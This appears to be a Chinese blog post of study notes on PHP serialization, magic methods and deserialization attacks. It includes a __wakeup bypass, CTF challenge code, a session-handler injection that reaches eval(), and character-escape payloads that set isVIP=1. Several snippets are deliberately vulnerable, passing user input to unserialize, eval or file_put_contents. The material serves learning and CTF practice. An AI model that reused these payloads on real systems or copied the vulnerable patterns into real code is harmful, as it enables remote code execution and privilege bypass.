序列化ba

序列化和反序列化[PHP]

序列化:就是将对象转化成字节序列的过程

反序列化:就是将字节序列转化成对象的过程

序列函数

serialize():序列化对象,并返回一个字符串

unserialize():对序列化后的对象进行反序列化,并返回原始的对象结构

<?php
class CB
{
    public $username = "liming";
    public $password = "123";
}
//对创建的test类的对象进行序列化和反序列化
$ser = serialize(new CB);		//string
echo  $ser;
$unser = unserialize($ser);		//object	
var_dump($unser);
//使用了serialize()方法序列化内容

魔术方法

PHP方法手册

PHP中把以两个下划线__开头的方法称为魔术方法,特点就是在一定条件下自动调用

__construct(),类的构造函数 , 对象创建完成后第一个被对象自动调用的方法(PHP7中一个类只可以存在一个构造函数,它会自动调用)

<?php
class CB
{
public $CB_data;

function __construct(){
  $this->CB_data = "input";
}
public function prin(){
  echo $this->CB_data;
}
}
$c = new CB();		//创建对象后先自动调用
$c->prin();			//手动调用打印信息
//input

__destruct(),类的析构函数 , PHP5引入,会在一个类要销毁前执行

<?php
class CB
{
public $CB_data;

function __construct(){
  $this->CB_data = "input";
}
function __destruct(){
  echo $this->CB_data;
}
}
//创建对象后先自动调用__construct赋值,等程序结束销毁类前自动执行__destruct
$c = new CB();
//input

__sleep(),执行serialize()时,先会调用这个函数 ,serialize()会检查类中是否存在该函数,如果存在就先自动调用

<?php
class CB
{
private $CB_data;
public $CB_data2;

  function __construct(){
$this->CB_data = "input";
$this->CB_data2 = "test2";
  }
function __sleep(){
echo "使用了serialize()方法序列化内容";
return array('CB_data');		//需要返回值,即对象的属性名字,否则序列化的内容为N,可以控制需要序列化的属性
}
}
var_dump(serialize(new CB()));
//使用了serialize()方法序列化内容string(44) "O:2:"CB":1:{s:11:"\000CB\000CB_data";s:5:"input";}"

__wakeup(),执行unserialize()时,先会调用这个函数

<?php
class CB
{
private $CB_data;
public $CB_data2;

function __construct()
{
  $this->CB_data = "input";
     $this->CB_data2 = "test2";		//赋值test2
}
function __wakeup(){
  echo "使用了unserialize()方法进行反序列";		
     $this->CB_data2 = "BBCDA";		//可以用于改变反序列化的结果
  }
}
$a = serialize(new CB);
var_dump(unserialize($a));			//反序列化后CB_data2=BBCDA

__call(),在对象中调用一个不可访问方法时调用

<?php
class CB
{
public $CB_data;

function __construct(){
$this->CB_data = "input";
  }
function __call($name, $arguments){		//$arguments是一个数组存储,用于存储不存在方法传入的参数
echo $name . "方法不存在";
  }
  }
$c = new CB();
$c->test();       //执行不存在方法,则会调用__call方法
//test方法不存在

__callStatic(),用静态方式中调用一个不可访问方法时调用 , 除了使用的是静态方式外和__call()一样

__get(),获得一个类的成员变量时调用 ,多用于外部调用私有变量

<?php
class CB
{
private $CB_data;

function __construct()
  {
  $this->CB_data = "input";
}
function __get($name)
{
  echo $name."=";
echo $this->CB_data;
}
}
$c = new CB();
//如果没有__call方法,会因为外部无法访问私有变量而报错
echo $c->CB_data;
//CB_data=input

__set(),设置一个类的成员变量时调用

<?php
class CB
{
private $CB_data;

function __construct(){
$this->CB_data = "input";
}
function __set($name, $value){
echo $name."=";
  echo $value;
  }
}
$c = new CB();
  $c->CB_data = "set";    //通过__set方法成功为$CB_data赋值
  //CB_data=set

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

序列化

序列化对象的时候,保存的内容为对象的类型、属性的类型、属性的值【不保存常量,保存父类的属性值】等

如果存在__sleep()方法 则会先被调用,然后才执行序列化操作 , 可以通过sleep修改可以被序列化的内容

格式

不同类型字符串格式

String : s:size:value; //s:字符串长度:字符串值

Integer : i:value;

Boolean : b:value;(保存1或0)

Null : N;

Array : a:size:

Object : O:strlen:"object name":object size:{xxx} //O:类名长度:类名值:属性个数:{属性类型:属性名称长度:属性名称:属性值长度;属性值类型:属性值长度:属性值;}

<?php
class CB
{
    public $CB_data = 'cb';
}
$number = 10;
$str = 'asd';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$c = new CB();

var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($c));

注意:属性的修饰符会影响序列化字符串格式(加多了\000两个空字符,即URL的%00,长度为1)

private声明:\000类名\000属性名

protected声明:\000*****\000属性名

传参后,存在服务器会对参数进行一次URL解码,所以可以通过URL编码后传入原始内容避免影响传入内容

<?php
class CB
{
    public $CB_data = 'cb';     //父类
}
class CC extends CB     //继承
{
    public $username;
    private $password;
    function __construct()        //魔术方法,创建对象时调用,为对象赋值
    {
        $this->username = "liming";
        $this->password = "123";
    }
}
$cc = new CC();        //创建一个对象
$ser = serialize($cc);        //序列化对象
var_dump($ser) . "<br>";
echo urlencode($ser) . "<br>";        //URL编码
$unser = $_GET['s'];
if (isset($unser)) {
    $unser = unserialize($unser);        //反序列化
    var_dump($unser);
}
//将生成的序列化内容直接传入会报错,将URL编码的内容传入不影响

序列化协议格式

XML:通过网络传输,存储紧文件或者数据库

JSON:列化成JSON格式从而持久化保存对象

......

反序列化

复原序列化的对象

如果存在__wakeup()方法则会先调用__wakeup()方法,再进行反序列化(反序列化结束后如果有__destruct会自动调用)

绕过__wakeup()

版本影响:

php5 < 5.6.25

php7 < 7.0.10

对象属性个数的值⼤于真实的属性个数时就会跳过 __wakeup() 的执 ⾏

<?php
highlight_file(__FILE__);
class test
{
   public $t = "try";
   function __wakeup()
   {
       echo "<br>"."__ wakeup method execution";
   }
   function __destruct()
   {
       echo "<br>"."__destruct method execution";
   }
}
$a = $_GET['test'];
$b = unserialize($a);
<?php
class test
{
  public $t = "try";
}

echo serialize(new test);

//O:4:"test":1:{s:1:"t";s:3:"try";}

如果修改对象的属性个数大于原来个数则绕过,即2及以上

反序列漏洞原理

当用户控制序列化的数据,利用反序列化将有害数据传入到代码中执行,从而导致目标受到攻击。结合魔术方法效果更好。(关键关序列化数据是可控的)

简单题目理解

<?php
error_reporting(0);
highlight_file(__FILE__);
include "flag.php";
$KEY = "flag";
$str = $_GET['str'];
if (unserialize($str) === "$KEY") {
    echo $flag;
}

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;

    public function checkVip()
    {
        return $this->isVip;
    }
    public function login($u, $p)
    {
        return $this->username === $u && $this->password === $p;
    }
    public function vipOneKeyGetFlag()
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {
            echo "no vip, no flag";
        }
    }
}

$username = $_GET['username'];
$password = $_GET['password'];

if (isset($username) && isset($password)) {
    $user = unserialize($_COOKIE['user']);
    if ($user->login($username, $password)) {
        if ($user->checkVip()) {
            $user->vipOneKeyGetFlag();
        }
    } else {
        echo "no vip,no flag";
    }
}

<?php

highlight_file(__FILE__);

class ctfshowvip
{
    public $username;
    public $password;
    public $code;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
    }
 /*    public function __wakeup()
    {
        if ($this->username != '' || $this->password != '') {
            die('error');
        }
    } */
    public function __invoke()
    {
        eval($this->code);
    }

    public function __sleep()
    {
        $this->username = '';
        $this->password = '';
    }
    public function __unserialize($data)
    {
        $this->username = $data['username'];
        $this->password = $data['password'];
        $this->code = $this->username . $this->password;
    }
    public function __destruct()
    {
        if ($this->code == 0x36d) {
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

session反序列化漏洞

session称为会话控制,就是服务器为保存用户状态而创建的一个特殊的对象,用于保存用户的部分信息。

工作流程

  1. PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
  • 如果Cookie中存在,获取PHPSESSID

  • 如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器

    Set-Cookie: PHPSESSID=7t8b7j6a9l4f4hqtfnj6v71r96; path=/
    解释:
    PHPSESSID是cookie的名称,"7t8b7j6a9l4f4hqtfnj6v71r96"是生成的会话ID,path=/是cookie的访问路径
    
  1. 初始化超全局变量$_SESSION为一个空数组

  2. PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件

  • 存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION
  • 不存在该文件: session_start()创建一个PHPSESSID命名文件
  1. 程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

php.ini的重要配置

session.save_path="/tmp" --设置session文件的存储位置

查看了phpstudy的php.ini发现session.save_path = "N;/path"。N;是存储方式,为快速存储,/path是存储路径占位符,需要替换,但是会发现在Extensions\tmp\tmp下可以看到session保存的数据

session.save_handler=files --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

session.auto_start = 0 --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php

session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用

session.upload_progress.cleanup= On --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用

session序列化机制

3种

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

php处理器

当再次访问的时候,php会进行反序列存储的内容输出

<?php
highlight_file(__FILE__);
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
//name =  abcd
?>
键名 竖线 经过 serialize() 函数反序列处理的值
name(根据$_SESSION决定名称) | s:4:"abcd";

php_serialize处理器

php_binary处理器

修改    ini_set('session.serialize_handler','php_binary');   进行尝试

漏洞原理

利用php处理器php_serialize处理器的存储格式差异而产生的

一、以php处理器存储session

<?php
//文件名:sessionTest.php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];

二、通过URL构建session的数据

?name=O:4:"f4ke":1:

三、同一个浏览器窗口共享同一个Session,即通过这个浏览器访问的session相同,那么当访问phpTest.php时候,访问的内容也是上面的session数据,但是phpTest.php是通过php处理器,那么“ | ”前的将是键名,而后面的值将会进行反序列化。

php处理器使用其内置的序列化机制,对O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}";}进行反序列化,导致name = 'phpinfo();',最后对象销毁执行__destruct()方法中的eval()函数

<?php
//文件名:phpTest.php
highlight_file(__FILE__);
session_start();
class f4ke{
    public $name;
    function __wakeup(){
      echo "Unserialize() has been executed";
    }
    function __destruct(){
      eval($this->name);
    }
}
?>

场合使用:

local value=php (当前变量)

master value=php_serialize (主变量)

session反序列化漏洞参考文章

反序列化字符逃逸

思想:闭合思想,匹配到" { " 和 “ } "便认为反序列化结束。

原理:在反序列化前对序列化对象的字符进行过滤,反序列化后会造成因为属性长度不同而报错。所以我们可以修改属性值的长度达到变化后的长度而影响反序列化结果

我理解的逃逸是序列化时注入字符串成为一个属性的一部分,被反序列化后成为单独的属性,逃逸出一个属性成为单一属性结果

字符增加

过滤后使得属性字符长度增多,即可控字符增多。

<?php
highlight_file(__FILE__);
class user
{
   public $username;
   public $password;
   public $isVIP;

   public function __construct()
   {
      $this->username = "admin";
      $this->password = "123456";
      $this->isVIP = 0;
   }

   function __destruct()
   {
      if ($this->isVIP == 1) {
         echo "<br>"."flag{xxxxxx}";
      }
   }
}

$a = $_GET['str'];
$a_seri_filter = str_replace("admin", "hacker",$a);
// echo $a_seri_filter;
unserialize($a_seri_filter);

使用了str_replace用hacker替换了admin,造成的结果:

s:5:"admin";
s:5:"hacker"; //多了一个字符,但是长度没有变,所以传入的admin可以增加一个可控字符

目标是使得$isVIP = 1

";s:5:"isVIP";i:1;} //目标字串,反序列化使用 "; 分隔前面的属性值或名,使用 } 结束反序列化。目标字符串长度为19字符

我们控制username的值中添加目标字符串,即增多19个字符

<?php
class user
{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:5:"isVIP";i:1;}';
    public $isVIP = 0;
}
$ser = serialize(new user);
echo $ser;
//通过字符替换知道变换后属性长度不变,可是字符变长了,那么我们就一开始就将目标字符串注入达到替换后的长度,并利用反序列的格式使它闭合

payload:?str=O:4:"user":2:{s:8:"username";s:114:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

//;s:5:"isVIP";i:0;}成了多余的字符串被抛弃

字符减少

过滤后使得属性字符长度减少,属性值向后吞噬一位

PHP反序列化的机制是看属性值的长度进行读取字符串的

<?php
highlight_file(__FILE__);
class user
{
   public $username;
   public $password;
   public $isVIP;

   public function __construct()
   {
      $this->username = "admin";
      $this->password = "123456";
      $this->isVIP = 0;
   }

   function __destruct()
   {
      if ($this->isVIP == 1) {
         echo "<br>"."flag{xxxxxx}";
      }
   }
}

$a = $_GET['str'];
$a_seri_filter = str_replace("admin", "hack",$a);
// echo $a_seri_filter;
unserialize($a_seri_filter);

使用了str_replace用hack替换了admin,造成的结果:

s:5:"admin";
s:5:"hack"; //少了一个字符,但是长度没有变,所以反序列化读取的时候把双引号读进(吞噬)

目标是使得$isVIP = 1

";s:5:"isVIP";i:1;} //目标字串,反序列化使用 "; 分隔前面的属性值或名,使用 } 结束反序列化。目标字符串长度为19字符

我们控制$isVIP的值进行缩进

<?php
class user
{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
    public $isVIP = ';s:5:"isVIP";i:1;}';
}
$ser = serialize(new user);
echo $ser;
//O:4:"user":2:{s:8:"username";s:95:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:5:"isVIP";s:18:";s:5:"isVIP";i:1;}";}

要点

1.字符增加是对前面的参数进行控制

2.字符减少是对后面的参数进行控制

3.反序列化读取字符串是根据字符长度控制的

//是否可以通过str_replace提前构建测试再进行提交?

<?php
class user
{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
    public $isVIP = ';s:5:"isVIP";i:1;}';
}
$ser = serialize(new user);
$a = str_replace("admin", "hack", $ser);
echo $a;
// echo strlen('hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:5:"isVIP";s:18:');

posted @ 2023-09-23 00:18  ntrack  阅读(5)  评论(0编辑  收藏  举报